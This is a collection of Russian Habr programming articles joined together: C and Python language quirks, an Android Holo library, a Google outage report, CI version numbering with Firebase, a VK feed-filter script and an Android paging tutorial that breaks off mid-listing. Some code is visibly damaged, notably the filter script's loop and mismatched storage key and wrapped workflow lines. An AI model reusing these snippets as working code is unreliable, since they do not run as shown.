Похоже, нижний предел для интерпретатора Python такой же… `-5`. Целые числа в диапазоне `[-5, 256]` получают одинаковые ID. Но всё равно это работает как-то странно.
```
>>> x = -10
>>> y = -10
>>> x is y
False
>>> x, y = [-10, -10]
>>> x is y
True
```
Видимо, применение деструктурирующего присваивания сразу меняет правила. Я не уверен, почему так происходит, и даже задал [вопрос на Stack Overflow](https://stackoverflow.com/questions/47958141/what-is-the-difference-between-destructured-assignment-and-normal-assignment) в попытке разобраться. Может быть, повторяющиеся значения в списке указывают на тот же объект для экономии памяти.
Обратная запись с индексом в C
==============================
Обратная запись с индексом мгновенно доставляет головную боль любому разработчику.
```
int x[1] = { 0xdeadbeef };
printf("%x\n", 0[x]); // prints deadbeef
```
Причина работы такого кода в том, что `array[index]` на самом деле просто синтаксический сахар для `*(array + index)`. Благодаря коммутативному свойству сложения можно поменять их местами и получить тот же результат.
Оператор «перехода» в C
=======================
На первый взгляд оператор `-->` выглядит как синтаксическая ошибка. Но когда вы понимаете, что он нормально компилируется, то начинаете думать, что это недокументированная функция языка. К счастью, это ни то, ни другое.
```
for (x = 3; x --> 0;) {
printf("%d ", x); // prints 2 1 0
}
```
«Оператор» `-->` — это на самом деле два оператора, которые в этом контексте разбираются как `(x--) > 0`. Известно, что такая штука вызывает [немалую путаницу](https://stackoverflow.com/questions/1642028/what-is-the-operator-in-c) при использовании в продакшне — чистое зло.
Оператор `sizeof` в C
=====================
Оператор `sizeof` обрабатывается в процессе компиляции, что даёт ему интересные свойства.
```
int x = 0;
sizeof(x += 1);
if (x == 0) {
printf("wtf?"); // this will be printed
}
```
Поскольку объекты оператора `sizeof` анализируются в процессе компиляции, то выражение `(x += 1)` никогда не будет запущено. Также любопытно: исследования показывают, что `printf("wtf?")` — самая популярная строчка кода, которая никогда не поступает в продакшн.
Начало индексов с единицы в Lua, Smalltalk, MATLAB и др…
========================================================
На форумах [/r/programminghumor](https://www.reddit.com/r/ProgrammerHumor/) полно мемов об «[индексах](https://www.reddit.com/r/ProgrammerHumor/comments/7dj3jg/arrays_start_at_1/), [которые](https://www.reddit.com/r/ProgrammerHumor/comments/6nmzj9/dont_trust_americans_their_floor_arrays_start_at_1/) [начинаются](https://www.reddit.com/r/ProgrammerHumor/comments/730yd6/my_calculator_is_broken_the_lists_start_at_1/) с [единицы](https://www.reddit.com/r/ProgrammerHumor/comments/6mwwkg/arrays_start_at_1/)». Поразительно, но немало языков программирования в реальности используют 1-индексированные массивы. Более полный список см. [здесь](https://en.wikipedia.org/wiki/Comparison_of_programming_languages_%28array%29#Array_system_cross-reference_list).
0 соответствует `true` в Ruby
=============================
…и только в Ruby. \*
```
if 0 then print 'thanks, ruby' end # prints thanks, ruby
```
\* правка: В обсуждении Reddit мне указали, что такое справедливо также для Lua, Lisp и Erlang.
Триграфы, диграфы и токены в C
==============================
По историческим причинам в C остались альтернативные варианты написания для нецифробуквенных символов.
| Триграф | Символ | | Диграф | Символ | | Токен | Символ |
| --- | --- | --- | --- | --- | --- | --- | --- |
| `??=` | `#` | | `<:` | `[` | | `%:%:` | `##` |
| `??/` | `\` | | `:>` | `]` | | `compl` | `~` |
| `??'` | `^` | | `<%` | `{` | | `not` | `!` |
| `??(` | `[` | | `%>` | `}` | | `bitand` | `&` |
| `??)` | `]` | | `%:` | `#` | | `bitor` | `|` |
| `??!` | `|` | | | | | `and` | `&&` |
| `??<` | `{` | | | | | `or` | `||` |
| `??>` | `}` | | | | | `xor` | `^` |
| `??-` | `~` | | | | | `and_eq` | `&=` |
| | | | | | | `or_eq` | `|=` |
| | | | | | | `xor_eq` | `^=` |
| | | | | | | `not_eq` | `!=` |
```
if (true and true) { // same as if (true && true)
printf("thanks, c");
}
```
Некоторое чужеродное оборудование вроде IBM 3270 не позволяло набрать некоторые часто используемые символы в C/C++, так что ввели использование диагрфы, триграфы и токены, чтобы сохранить совместимость с определёнными кодировками.
Надеюсь, статья была интересной. Можете почитать [обсуждение на Reddit](https://www.reddit.com/r/programming/comments/7ltryz/evil_coding_incantations/). | https://habr.com/ru/post/345690/ | null | ru | null |
# HoloEverywhere
Вот признайтесь: читая Android Interface Guidelines, вам не приходила мысль, что это все, конечно, офигенно, но на старые (2.3 <) Андроиды приходиться перелопачивать половину стилей, чтобы смахивало на Holo интерфейс?
Или так: в последнем Андроиде есть ну просто офигенная фича, а вам вот нужно ее использовать?
Самое первое, что приходит на ум: ActionBar и ActionBarSherlock.
ABS — это замечательно, но одним ActionBar не отделаешься. Мы хотим Holo тему, а не только Holo бар, блин.
Эх, такой привлекательный ActionMode на списках чего стоит…
Позвольте представить вам HoloEverywhere — проект, целью которого является портирование Holo стиля, Holo виджетов и других фишек на Android 1.6 и старше.
Все эти скриншоты сделаны на Android 2.1 (минимальная версия Андроида для ABS, но HoloEverywhere работает и на 1.6 с отключением ABS).
Собственно, что уже сделано:
* Стилизованы многие виджеты, такие как Button, ToggleButton, RadioButton, CheckBox, Spinner, (Multi)AutoCompleteTextView, RatingBar, ProgressBar, SeekBar и другие производные. Так-же есть и портированные: Switch, NumberPicker, CalendarView, DatePicker, TimePicker
* Портирован AlertDialog, ProgressDialog, стилизован обычный Dialog (к сожалению, внутренности AlertDialog слишком закрыты для простого портирования темы, пришлось тянуть весь его код и создавать несовместимую со стандартным AlertDialog версию)
* Портирован весь Preference Framework, создан SupportSharedPreferences, который умеет писать различные Set и JSON объекты/массивы (это уже как плюшка :))
* Небольшой ~~велосипед~~ помощник для переключения тем для Activity
* Везде используется ~~еще один велосипед~~ свой LayoutInflater, который может инфлейтить ваши вьюхи по короткому имени. Например, раньше вы писали так:
А теперь, если на старте приложения вызвать правильный метод с правильными параметрами, вы можете писать просто MySuperView, и это будет работать везде, где используется HE (в рамках текущего приложения, естественно).
Из этого так-же следует, что вы можете подменить системные виджеты на свои, абсолютно не меняя разметок, в том числе и системных. Но если виджеты создаются из кода — тут уж ничего не поделаешь.
* Собственно, ActionMode, про который я упоминал в начале поста. Дополненная реализация ListView, позволяет стартовать ActionMode из ABS
Репозиторий проекта: [github.com/ChristopheVersieux/HoloEverywhere](https://github.com/ChristopheVersieux/HoloEverywhere)
Там-же инструкция по подключению к проекту.
[Скачать](http://ubuntuone.com/6bcZdzv5JFqSC4vXIv0iPL) apk демки.
В принципе, пока все, но вы можете помочь проекту — либо самым прямым путем (форкнуть проект, дополнить, отправить pull request), либо открыть feature request с описанием новой фичи, либо отправить письмо мне в личку, в конце-концов :) | https://habr.com/ru/post/153003/ | null | ru | null |
# Что случилось с Google?
С 14-20MSK недоступны все сервисы «копорации добра» в Петербурге. Похоже, что в Москве проблема такая же. Причем упали они, что интересно, не сразу — умирали в течении 15-20 минут. Хоронология:
* Сначала отвалились второстепенные сервисы — reader и picasa. Стандартная 500я ошибка
* Затем умер GMail и GTalk. 500-й ошибки уже не было — сервера перестали отвечать вообще
* Сейчас не работает ничего — поиск, youtube, analytics, adsense. Ошибка везде одинаковая — сброс соединения.
Сейчас ни один из сервисов гугл мне не доступен. Сервисы проверялись из двух точек — СПб и Германия, из Германии сайты открываются.
trace из Петербурга:
```
titanium:bridge logan$ traceroute google.com
traceroute: Warning: google.com has multiple addresses; using 173.194.69.103
traceroute to google.com (173.194.69.103), 64 hops max, 52 byte packets
1 192.168.18.12 (192.168.18.12) 1.046 ms 0.659 ms 0.645 ms
2 ip-XXX.YYY.104.89.net.unnet.ru (89.104.YYY.XXX) 2.344 ms 2.779 ms 2.435 ms
3 bm18-br2.unnet.ru (87.249.32.50) 2.266 ms 2.167 ms 3.901 ms
4 gw1.spb-ix.google.com (194.226.100.138) 2.889 ms 2.474 ms 2.471 ms
5 * * *
6 * *^C
```
Интересно было бы получить комментарии от представителей компании — это следствие миграции IPv6 или что-то иное? | https://habr.com/ru/post/135126/ | null | ru | null |
# Инкрементация и сохранение сборки на CI
Привет, Хабр! Меня зовут Паша Филимонов и я Android-разработчик в Учи.ру. Наша небольшая команда занимается разработкой мобильных приложений — [«Учи.ру»](https://play.google.com/store/apps/details?id=com.uchi.app&hl=ru&gl=US) и [«Учи.ру для учителей»](https://play.google.com/store/apps/details?id=com.uchi.teacher&hl=ru&gl=US). Мы сторонники автоматизации и считаем, что настройка CI/CD необходима для улучшения процессов разработки продукта. Каждый раз, приступая к новой сборке приложения, нам приходилось вручную прописывать ее код версии. Это довольно рутинная задача, которую мы решили автоматизировать. Рассказываю, как мы это сделали.
### Как раньше строились процессы
Наши билды собираются с помощью сервисов [Github Actions](https://github.com/features/actions). У нас есть 3 основных типа сборки:
* **stage** — для тестирования фичи;
* **release candidate** — stage сборка — релиз кандидат для регрессионного тестирования;
* **release** — готовая сборка для публикации в Play Store.
Когда мы делали новую версию приложений, то вручную прописывали новый воркфлоу в гитхабе, указывая необходимые параметры:
* **versionName** — версия приложения, в которую пойдет новый функционал;
* **versionCode** — код версии (инкремент последней сборки);
* **releaseNotes** — описание того, что изменилось в этой сборке.
Код версии для каждой новой сборки уникален, его значение равно инкременту предыдущей сборки (исключением являются релизные сборки). В примере ниже показана трансформация versionCode, который указан в скобках:
После того как сборка была готова, в канал нашей команды в Slack приходило соответствующее уведомление с вышеуказанными параметрами и автором инициализации воркфлоу.
Здесь и возникает проблема: каждый раз, инициируя новую сборку, нам нужно знать **versionCode предыдущей**.
Самый просто способ его выяснить — открыть канал в Slack, посмотреть код версии последней сборки и в уме прибавить к нему единицу. Это задача постоянно отнимала время, поэтому мы решили автоматизировать процесс. К тому же мы не застрахованы от **race condition** — ситуации, когда несколько человек могут создать сборку с одинаковыми значениями кода версии.
Так выглядел наш набор параметров, необходимых для создания сборки: поля **Version code** и **Version name являлись обязательными для заполнения**.
### К чему хотим прийти
Мы решили избавиться от ручного указания номера и кода версии при создании новой сборки.
Для этого нам было необходимо определить мастер-систему (хранилище), в которой будут храниться актуальные данные о последней сборке. Это позволило бы автоматически получать данные о сборке и вычислять номер новой.
При этом мы хотели оставить возможность указывать номер и код версии вручную, чтобы при проблемах с доступом в хранилище можно было самостоятельно указывать необходимые данные и не останавливать процесс разработки. А также в частном порядке создавать сборки с нужными версиями, не меняя ничего в хранилище.
### Выбор хранилища
Один из вариантов решения — хранить эти данные в файле в текущем проекте. Но этот подход заведомо обречен, поскольку feature-ветки не будут знать про изменения версии в других ветках. А при объединении веток будут постоянные конфликты из-за изменений в одном файле с версией.
Поэтому в первую очередь было необходимо найти хранилище, которое:
* бесплатное;
* имеет возможность записывать/читать данные без ограничений (или с адекватными лимитами);
* обеспечивает безопасное хранение данных;
* позволяет просматривать и редактировать данные в реальном времени;
* простое во внедрении.
Нам важно, чтобы внедряемая база данных требовала минимальных усилий для поддержания ее работоспособности.
Вот какие решения мы рассматривали.
**Варианты хранилища:**
1. **Попросить DBA «поднять» отдельную базу данных для наших артефактов**
Отличный вариант для тех, у кого есть такая возможность.
**Плюсы:**
* артефакты будут храниться в рамках вашей компании;
* неограниченный круг возможностей в проектировании.
**Минусы:**
* зависимость от других отделов/людей, у которых не всегда будет время на наши нужды.
2. **Использовать отдельный репозиторий**
**Плюсы:**
* прост в использовании.
**Минусы:**
* неудобство ручного редактирования данных. Для изменения данных вручную, придется коммитить и пушить в этот репозиторий, что также может привести к конфликтам.
3. **Использовать** [**Github gists**](https://gist.github.com/)
**Плюсы:**
* прост в использовании.
**Минусы:**
* Github gists могут быть привязаны только к пользователю. Чтобы не привязывать их к определенному члену команды, потребуется создать дополнительный аккаунт с доступом к репозиторию.
4. **Внедрить стороннюю онлайн базу данных**
**Плюсы:**
* независимое хранилище.
**Минусы:**
* дополнительная точка отказа;
* большинство сервисов предлагают свои услуги, которые требуют инвестиций.
5. **Использовать Firebase**
Его можно отнести к предыдущему варианту, но я выделю его отдельно, потому как в нашем проекте мы активно используем сервисы от Firebase, и он не станет для нас новой точкой отказа.
**Плюсы:**
* несколько способов доступа к данным (с помощью cUrl и пользовательский интерфейс);
* бесплатный пакет;
* прост в подключении и использовании.
**Минусы:**
* лимиты в бесплатной версии, но для нашей задачи их хватит с головой (на момент публикации статьи: 1 гб. на хранение данных, 10 гб. в месяц на загрузку данных).
Пример данных по последней сборке в интерактивном режиме просмотра### На чем мы остановились
Так как мы активно используем сервисы Firebase, мы решили, что интегрировать их базы данных будет рационально: нам не придется подключать к процессу сторонний сервис.
Firebase предоставляет два типа баз данных: **Realtime Database** и **Cloud Firestore**. Различия между ними можете прочитать [здесь](https://firebase.google.com/docs/database/rtdb-vs-firestore) и [здесь](https://firebase.google.com/pricing).
На текущий момент наши потребности просты: записывать и читать данные строго для последней сборки. Поэтому мы остановились на самом подходящем варианте — **Realtime Database**. Бесплатный план имеет лимиты, но в нашем случае нам этого хватает. Документация по [Realtime Database](https://firebase.google.com/docs/database) и [Cloud Firestore](https://firebase.google.com/docs/firestore).
Пример, как можно обновить данные в Realtime Database с помощью cUrl:
```
curl --show-error --fail --request PATCH --url
""
--data-raw "{\\"version\_code\\":12}"
```
### Как внедряли автоматизацию
Основной флоу на CI/CD у нас уже был настроен. Нам оставалось добавить получение, инкрементацию и сохранение сборки в Firebase.
Мы создаем [повторно используемый воркфлоу](https://docs.github.com/en/actions/using-workflows/reusing-workflows), чтобы переиспользовать его логику в двух приложениях — «Учи.ру» и «Учи.ру для учителя». Затем объявляем выходные параметры VERSION\_NAME и VERSION\_CODE, связываем их с выходными параметрами задачи InitAppVersion. На вход передаем Uri базы данных, к которой будем обращаться за данными.
```
name: Initialize app version
on:
workflow_call:
secrets:
databaseUri:
required: true
outputs:
VERSION_NAME:
value: ${{ jobs.InitAppVersion.outputs.versionName }}
VERSION_CODE:
value: ${{ jobs.InitAppVersion.outputs.versionCode }}
```
Объявляем задачу, которая будет выполнять инициализацию значений текущей версии, а также — выходные параметры этой задачи:
```
jobs:
InitAppVersion:
name: Init app version
runs-on: ubuntu-latest
outputs:
versionName: ${{ steps.finish.outputs.versionName }}
versionCode: ${{ steps.finish.outputs.versionCode }}
```
Далее разбиваем задачу на шаги:
1. Получаем из базы последние значения versionName и versionCode и объявляем их как выходные параметры этого шага. Он выполняется, если нет введенных вручную номера или кода версии. Все запросы к хранилищу мы выполняем с помощью cURL запросов.
```
- name: Pull build info from realtime database
id: pull
if: ${{ github.event.inputs.versionName == '' ||
github.event.inputs.versionCode == '' }}
run: |
curl --show-error --fail --request GET --url "${{
secrets.databaseUri }}" > response.json
echo '::set-output name=lastVersionName::'$(jq -r
'.version_name' response.json)
echo '::set-output name=lastVersionCode::'$(jq -r
'.version_code' response.json)
```
2. Записываем данные в переменные окружения. Введенные вручную значения мы оставляем приоритетными, чтобы у нас всегда была возможность задать руками версию приложения.
```
# Устанавливаем значение номера версии
- name: Initial version name
run: echo "newVersionName=${{
github.event.inputs.versionName ||
steps.pull.outputs.lastVersionName }}" >> $GITHUB_ENV
# Устанавливаем значение номера билда
- name: Initial version code
env:
versionCode: $((${{
steps.pull.outputs.lastVersionCode }}+1))
run: echo "newVersionCode=${{
github.event.inputs.versionCode || env.versionCode }}" >>
$GITHUB_ENV
```
3. Сохраняем новое значение кода версии в БД только в том случае, если код версии не был введен вручную. Мы не сохраняем номер версии (versionName) в БД из рабочего процесса (подробнее ниже).
```
- name: Push version code to realtime database
if: ${{ github.event.inputs.versionCode == '' }}
run: curl --show-error --fail --request PATCH --url "${{
secrets.databaseUri }}" --data-raw "{\\"version_code\\":${{
env.newVersionCode }}}"
```
4. Инициализируем выходные параметры задачи.
```
- name: Setup outputs
id: finish
run: |
echo "::set-output name=versionName::${{
env.newVersionName }}"
echo "::set-output name=versionCode::${{
env.newVersionCode }}"
```
Так выглядит наш набор параметров, необходимых для создания сборки, после изменений:
Теперь поля **Version code** и **Version name** стали необязательными: заполнять их нет необходимости. Данные автоматически подтягиваются из БД, если не введены вручную.
Однако все еще осталась нерешенной проблема с сохранением номера версии: при работе над несколькими релизами одновременно придется постоянно указывать номер вручную, поскольку в БД хранится только одно его значение.
### Что насчет релизных сборок
Релизные сборки также подверглись небольшим изменениям. Теперь перед тем как запустить релизную сборку, мы создаем Release Candidate(RC). После этого — тег для коммита, для которого запускается сборка вида: v1.1(256). Ее название не имеет значения, главное — она должна содержать номер (versionName) и код (versionCode) версии.
При создании релизной сборки из того же коммита, что и RC, мы можем получить тег. Затем вытащить из него нужную информацию по номеру и коду версии и присвоить их релизной сборке. Важно лишь указать то, как мы получаем эти данные из тега:
Например, для версии v1.1(256):
```
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
# Получаем тэг, если хоть одно поле пустое
- name: Fetch tag
id: tag
if: ${{ github.event.inputs.versionName == '' ||
github.event.inputs.versionCode == '' }}
run: echo "::set-output name=tagName::$(git describe
-- abbrev=0 --tags)"
# Устанавливаем значение номера версии
- name: Initial version name
run: |
if ${{ github.event.inputs.versionName != '' }}; then
echo "newVersionName=${{
github.event.inputs.versionName }}" >> $GITHUB_ENV
else
echo "newVersionName=$(echo "${{
steps.tag.outputs.tagName }}" | sed 's/.*version//; s/(.*//')"
>> $GITHUB_ENV # получаем значение между буквой v и началом
открытия скобок: "1.1"
fi
# Устанавливаем значение номера билда
- name: Initial version code
run: |
if ${{ github.event.inputs.versionCode != '' }}; then
echo "newVersionCode=${{ github.event.inputs.versionCode }}" >> $GITHUB_ENV
else
echo "newVersionCode=$(echo "${{ steps.tag.outputs.tagName }}" | sed 's/.*(//; s/).*//')" >> $GITHUB_ENV # получаем значение в скобках: "256"
fi
```
Таким образом, нам удалось решить проблему ручной инкрементации сборки, избавиться от проблем при асинхронных действиях разработчиков и делегировать рутинные операции машине. Для этого мы использовали инструменты автоматизации от Firebase. В статье мы поделились и альтернативными вариантами решения этой проблемы.
В будущем мы планируем решить проблему с сохранением номера версии, а также тщательно проработать идею формирования changelog’а из описания пул-реквестов или номера задач в Jira.
Полный код воркфлоу на [Github](https://gist.github.com/pf1ll/0b186ab8dca4edbfa647868f5b41021a).
---
Если ты разделяешь наш подход к аналитике, [присоединяйся, чтобы вместе с нами развивать школьный EdTech.](https://careers.uchi.ru/?utm_source=habr&utm_medium=links&utm_campaign=pr_ci_cd_23) | https://habr.com/ru/post/714498/ | null | ru | null |
# Простой фильтр ленты VK по «плохим» словам и кем он может стать
Привет, Хабр.
##### Отступление:
В этом посте вы не найдете той самой таблетки от всех болезней, но тут есть решение атомарной задачи, пускай и не совсем красивое. Цели этого поста получить больше фидбека, завязать обсуждение, заразить идеей, подтолкнуть. Хоть в данном случае речь идет о ВКонтакте, я бы попросил читателя абстрагироваться от этой соц. сети и посмотреть на это более глобально.
##### Проблема:
ВКонтакте есть возможность прятать единичные посты и блокировать показ постов от конкретных людей, групп и приложений. Но нельзя прятать посты с нежелательным содержимым.
###### Опишу на простом примере:
Я подписан на музыкальное сообщество и мне нравится периодически обновлять плейлисты, случайно узнавать новые группы и тд. Но мне не нравится видеть по несколько раз в день одни и те же рекламные посты. С репостами все просто: можно заблокировать источник. А как быть с рекламными постами от лица самого сообщества? Да, можно заблокировать посты сообщества в ленте и периодически заходить за новой музыкой, но тут теряется удобство пользования. Пример далеко не единственный. В ленте есть много сообществ и людей с интересными постами, но иногда, а временами частенько от них сыплется множество нежелательных постов.
##### От проблемы к решению:
Выбор пал на javascript. Немного экспериментов в консоли и код готов:
```
function setWords() {
words = prompt('Enter bad words and phrases. Comma separated (,).',localStorage.getItem('bad_words'));
if(typeof(words) == 'string') {
localStorage.setItem('bad_words',words);
}
}
function hunt() {
if( ! localStorage.getItem('bad_words')) {
setWords();
return;
}
textArr = localStorage.getItem('shit_words').split(',');
posts = document.getElementsByClassName('feed_row');
for(ii =0; ii 0) {
thepost = document.getElementsByClassName('feed\_row')[ii].children[0];
idToDel = thepost.getAttribute('id').split('post')[1];
delElement = document.getElementById('post\_delete'+idToDel);
if(delElement) {delElement.click();}
break;
}
}
}
setTimeout('hunt()',5000);
};
hunt();
if( ! document.getElementById('vk\_feed\_cleaner')) {
menuVK=document.getElementById('side\_bar').children[0];
a=document.createElement('a');
a.setAttribute('href','javascript:setWords();');
a.innerText = 'Set Bad Words';
li=document.createElement('li');
li.setAttribute('id','vk\_feed\_cleaner');
li.appendChild(a);
menuVK.appendChild(li);
}
```
###### Принцип до безобразия прост:
Запускаем в консоли скрипт.
При первом запуске он попросит ввести «плохие» слова или фразы. (разделитель запятая)
Сохраняет слова в localStorage.
Каждые 5 секунд пробегаем по содержимому постов: HTML элементы с классом «feed\_row»
Если в тексте элемента найдено хотя бы 1 плохое слово, то программно кликаем на HTML элементе удаления поста.
В боковое меню помещается ссылка: Set Bad Words, по клику на которую можно изменить список плохих слов.
[jsfiddle.net/U2r9k/7](http://jsfiddle.net/U2r9k/7/) — а тут есть ссылка, перетащив которую на панель закладок, можно активировать код по клику.
Не оптимизировано? Деревянно? Не сексуально? Главное, что заработало, и моя проблема была решена. Очень надеюсь, что многим людям он поможет так же как и мне.
Сразу же пошли в голове мысли об оптимизации процесса.
###### Минусы очевидны:
Скрипт требует запуска каждое открытие или перезагрузку страницы.
Большие словари будут нагружать браузер.
###### Возможные варианты решения этой проблемы:
Создать расширения для браузеров.
Создать офлайн приложение, которому дать доступ к своему аккаунту. Приложение будет 24 часа в сутки фильтровать ленту.
Безусловно второй вариант лучше, т.к. одно приложение решает проблему кроссплатформености. Но первый вариант тоже имеет право на существование — родительский контроль.
Если офлайн приложение может только фильтровать личную ленту пользователя, то расширение для браузера будет «ходить» вместе с пользователем. У меня есть дети, которые, пока еще не пользуются, но скоро будут пользоваться компьютером.
Представим, что приложение может развиться до такого простенького сервиса, где будет онлайн база словарей/масок по категориям (например: вконтакте 18+, одноклассники реклама)
И расширения для браузеров, поддерживающее несколько соц. сетей.
Устанавливаете расширение и выбираете словари. Ребенок ищет видео, просматривает свои новости, чужие страницы, сообщества, а контент прогоняется через фильтр и нежелательные элементы прячутся/удаляются.
Этакий аналог AdBlock.
Существует еще одна проблема — дубликаты. Я говорю не о репостах, а о случаях когда один и тот же контент постится от лица конкретного сообщества/человека. Ситуация довольно частая. Быть может это приложение, сохраняющее этакий фингерпринт поста в базу «я это уже видел, больше можно не отображать». Часто посты просто копируются друг у друга, и очень редко контент переписывается. Кстати, с таким приложением будет решена проблема с повторяющимися рекламными постами в ленте.
Интересны мнения хабровчан на этот счет.
И напоследок опрос по теме.
P.S. Возможно такие приложения/сервисы уже существуют, но таких я не нашел, если кому известно, поделитесь.
Всем добра. | https://habr.com/ru/post/215171/ | null | ru | null |
# Кэшируем пагинацию в Android
Наверняка каждый Android разработчик работал со списками, используя RecyclerView. А также многие успели посмотреть как организовать пагинацию в списке, используя Paging Library из Android Architecture Components.
Все просто: устанавливаем PositionalDataSource, задаем конфиги, создаем PagedList и скармливаем все это вместе с адаптером и DiffUtilCallback нашему RecyclerView.
Но что если у нас несколько источников данных? Например, мы хотим иметь кэш в Room и получать данные из сети.
Кейс получается довольно кастомный и в интернете не так уж много информации на эту тему. Я постараюсь это исправить и показать как можно решить такой кейс.
Если вы все еще не знакомы с реализацией пагинации с одним источником данных, то советую перед чтением статьи ознакомиться с этим.
Как бы выглядело решение без пагинации:
* Обращение к кэшу (в нашем случае это БД)
* Если кэш пуст — отправка запроса на сервер
* Получаем данные с сервера
* Отображаем их в листе
* Пишем в кэш
* Если кэш имеется — отображаем его в списке
* Получаем актуальные данные с сервера
* Отображаем их в списке○
* Пишем в кэш
Такая удобная штука как пагинация, которая упрощает жизнь пользователям, тут нам ее усложняет. Давайте попробуем представить какие проблемы могут возникнуть при реализации пагинируемого списка с несколькими источниками данных.
Алгоритм примерно следующий:
* Получаем данные из кэша для первой страницы
* Если кэш пуст — получаем данные сервера, отображаем их в списке и пишем в БД
* Если кэш есть — загружаем его в список
* Если доходим до конца БД, то запрашиваем данные с сервера, отображаем их
* в списке и пишем в БД
Из особенностей такого подхода можно заметить, что для отображения списка в первую очередь опрашивается кэш, и сигналом загрузки новых данных является конец кэша.
В Google задумались над этим и создали решение, которое идет из коробки PagingLibrary — BoundaryCallback.
BoundaryCallback сообщает когда локальный источник данных “заканчивается” и уведомляет об этом репозиторий для загрузки новых данных.
На официальном сайте Android Dev есть ссылка на [репозиторий](https://github.com/googlesamples/android-architecture-components/tree/master/PagingWithNetworkSample) с примером проекта, использующего список с пагинацией с двумя источниками данных: Network (Retrofit 2) + Database (Room). Для того, чтобы лучше понять как работает такая система попробуем разобрать этот пример, немного его упростим.
Начнем со слоя data. Создадим два DataSource.
**Интерфейс RedditApi.kt**
```
import com.memebattle.pagingwithrepository.domain.model.RedditPost
import retrofit2.Call
import retrofit2.http.GET
import retrofit2.http.Path
import retrofit2.http.Query
/**
* API communication setup
*/
interface RedditApi {
@GET("/r/{subreddit}/hot.json")
fun getTop(
@Path("subreddit") subreddit: String,
@Query("limit") limit: Int): Call
// for after/before param, either get from RedditDataResponse.after/before,
// or pass RedditNewsDataResponse.name (though this is technically incorrect)
@GET("/r/{subreddit}/hot.json")
fun getTopAfter(
@Path("subreddit") subreddit: String,
@Query("after") after: String,
@Query("limit") limit: Int): Call
@GET("/r/{subreddit}/hot.json")
fun getTopBefore(
@Path("subreddit") subreddit: String,
@Query("before") before: String,
@Query("limit") limit: Int): Call
class ListingResponse(val data: ListingData)
class ListingData(
val children: List,
val after: String?,
val before: String?
)
data class RedditChildrenResponse(val data: RedditPost)
}
```
В этом интерфейсе описаны запросы к API Reddit и классы модели (ListingResponse, ListingData, RedditChildrenResponse), в объекты которых будут сворачиваться ответы API.
И сразу сделаем модель для Retrofit и Room
**RedditPost.kt**
```
import androidx.room.ColumnInfo
import androidx.room.Entity
import androidx.room.Index
import androidx.room.PrimaryKey
import com.google.gson.annotations.SerializedName
@Entity(tableName = "posts",
indices = [Index(value = ["subreddit"], unique = false)])
data class RedditPost(
@PrimaryKey
@SerializedName("name")
val name: String,
@SerializedName("title")
val title: String,
@SerializedName("score")
val score: Int,
@SerializedName("author")
val author: String,
@SerializedName("subreddit") // this seems mutable but fine for a demo
@ColumnInfo(collate = ColumnInfo.NOCASE)
val subreddit: String,
@SerializedName("num_comments")
val num_comments: Int,
@SerializedName("created_utc")
val created: Long,
val thumbnail: String?,
val url: String?) {
// to be consistent w/ changing backend order, we need to keep a data like this
var indexInResponse: Int = -1
}
```
Класс RedditDb.kt, который будет наследовать RoomDatabase.
**RedditDb.kt**
```
import androidx.room.Database
import androidx.room.RoomDatabase
import com.memebattle.pagingwithrepository.domain.model.RedditPost
/**
* Database schema used by the DbRedditPostRepository
*/
@Database(
entities = [RedditPost::class],
version = 1,
exportSchema = false
)
abstract class RedditDb : RoomDatabase() {
abstract fun posts(): RedditPostDao
}
```
*Помним, что создавать класс RoomDatabase каждый раз для выполнения запроса к БД очень затратно, поэтому в реальном кейсе создавайте его единожды за все время жизни приложения!*
И класс Dao с запросами к БД RedditPostDao.kt
**RedditPostDao.kt**
```
import androidx.paging.DataSource
import androidx.room.Dao
import androidx.room.Insert
import androidx.room.OnConflictStrategy
import androidx.room.Query
import com.memebattle.pagingwithrepository.domain.model.RedditPost
@Dao
interface RedditPostDao {
@Insert(onConflict = OnConflictStrategy.REPLACE)
fun insert(posts : List)
@Query("SELECT \* FROM posts WHERE subreddit = :subreddit ORDER BY indexInResponse ASC")
fun postsBySubreddit(subreddit : String) : DataSource.Factory
@Query("DELETE FROM posts WHERE subreddit = :subreddit")
fun deleteBySubreddit(subreddit: String)
@Query("SELECT MAX(indexInResponse) + 1 FROM posts WHERE subreddit = :subreddit")
fun getNextIndexInSubreddit(subreddit: String) : Int
}
```
Вы наверное заметили, что метод получения записей postsBySubreddit возвращает
DataSource.Factory. Это необходимо для создания нашего PagedList, используя
LivePagedListBuilder, в фоновом потоке. Подробнее об этом вы можете почитать в
[уроке](https://startandroid.ru/ru/courses/architecture-components/27-course/architecture-components/544-urok-15-paging-library-chast-2-pagedlist-i-datasource.html).
Отлично, слой data готов. Переходим к слою бизнес логики.Для реализации паттерна “Репозиторий” принято создавать интерфейс репозитория отдельно от его реализации. Поэтому создадим интерфейс RedditPostRepository.kt
**RedditPostRepository.kt**
```
interface RedditPostRepository {
fun postsOfSubreddit(subReddit: String, pageSize: Int): Listing
}
```
И сразу вопрос — что за Listing? Это дата класс, необходимый для отображения списка.
**Listing.kt**
```
import androidx.lifecycle.LiveData
import androidx.paging.PagedList
import com.memebattle.pagingwithrepository.domain.repository.network.NetworkState
/**
* Data class that is necessary for a UI to show a listing and interact w/ the rest of the system
*/
data class Listing(
// the LiveData of paged lists for the UI to observe
val pagedList: LiveData>,
// represents the network request status to show to the user
val networkState: LiveData,
// represents the refresh status to show to the user. Separate from networkState, this
// value is importantly only when refresh is requested.
val refreshState: LiveData,
// refreshes the whole data and fetches it from scratch.
val refresh: () -> Unit,
// retries any failed requests.
val retry: () -> Unit)
```
Создаем реализацию репозитория MainRepository.kt
**MainRepository.kt**
```
import android.content.Context
import androidx.annotation.MainThread
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.Transformations
import com.android.example.paging.pagingwithnetwork.reddit.api.RedditApi
import retrofit2.Retrofit
import retrofit2.converter.gson.GsonConverterFactory
import androidx.room.Room
import com.android.example.paging.pagingwithnetwork.reddit.db.RedditDb
import com.android.example.paging.pagingwithnetwork.reddit.db.RedditPostDao
import com.memebattle.pagingwithrepository.domain.model.RedditPost
import retrofit2.Call
import retrofit2.Callback
import retrofit2.Response
import java.util.concurrent.Executors
import androidx.paging.LivePagedListBuilder
import com.memebattle.pagingwithrepository.domain.repository.core.Listing
import com.memebattle.pagingwithrepository.domain.repository.boundary.SubredditBoundaryCallback
import com.memebattle.pagingwithrepository.domain.repository.network.NetworkState
import com.memebattle.pagingwithrepository.domain.repository.core.RedditPostRepository
class MainRepository(context: Context) : RedditPostRepository {
private var retrofit: Retrofit = Retrofit.Builder()
